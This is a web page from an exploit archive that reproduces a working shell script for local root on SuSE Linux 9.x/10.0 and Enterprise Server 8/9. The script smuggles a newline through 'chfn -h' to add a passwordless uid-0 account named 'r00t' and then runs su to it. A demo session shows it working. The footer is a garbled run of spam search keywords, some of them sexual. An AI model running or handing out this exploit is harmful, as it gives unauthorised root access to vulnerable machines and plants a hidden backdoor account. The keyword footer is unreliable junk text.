about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , SuSE Linux pwdutils "chfn" Utility Local Privilege Escalation (Root) Exploit



2005-11-08 SuSE Linux pwdutils "chfn" Utility Local Privilege Escalation (Root) Exploit
Rated as : Moderate Risk 

#!/bin/sh
#
# Exploit for SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0
# and SuSE Linux Enterprise Server {8,9} 'chfn' local root bug.
# 
# by Hunger <susechfn@hunger.hu>
#
# Advistory:
# http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html
# 
# hunger@suse:~> id
# uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
# hunger@suse:~> ./susechfn.sh
# Type your current password to get root... :)
# Password:
# sh-2.05b# id
# uid=0(r00t) gid=0(root) groups=0(root)

if [ X"$SHELL" = "X" ]; then
echo "No SHELL environment, using /bin/sh for default."
export SHELL=/bin/sh
fi

if [ -u /usr/bin/chfn ]; then
/bin/echo "Type your current password to get root... :)"
/usr/bin/chfn -h "`echo -e ':/:'$SHELL'\nr00t::0:0:'`" $USER
> /dev/null
if [ -u /bin/su ]; then
/bin/su r00t
/bin/echo "You can get root again with 'su r00t'"
else 
echo "/bin/su file is not setuid root :("
fi
else
echo "/usr/bin/chfn file is not setuid root :("
fi
securitydot.net - 2005-11-08

Advertising

Copyright 2007, SecurityDot
Thu, 26 Nov 2009 11:13:51 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
school.xye Wwwfreepor CMS is Fre www.2008sf saxy moovi stripper nudephoto Photobucke www.2008sf www.388ys. WWW.WORLDS amimalsex. www.jimeip nat Apache/2.0 Pure WWw.Andins www.jimeip donating u chodachodi dc rpc Sexs wooma flay www.89sexv www.kongpi plesk 8 www,doodhw ESMTP MDae www.89sexv www.jimeip www.pingwo Wall php-nuke 2 shekeela ghost ride www.kbody. www.jimeip payload srilankase Walpears.c namitha se jawa games www.sex.18 iisugixaqu news for c Sex mobil icamtech.n fdd www.sex.18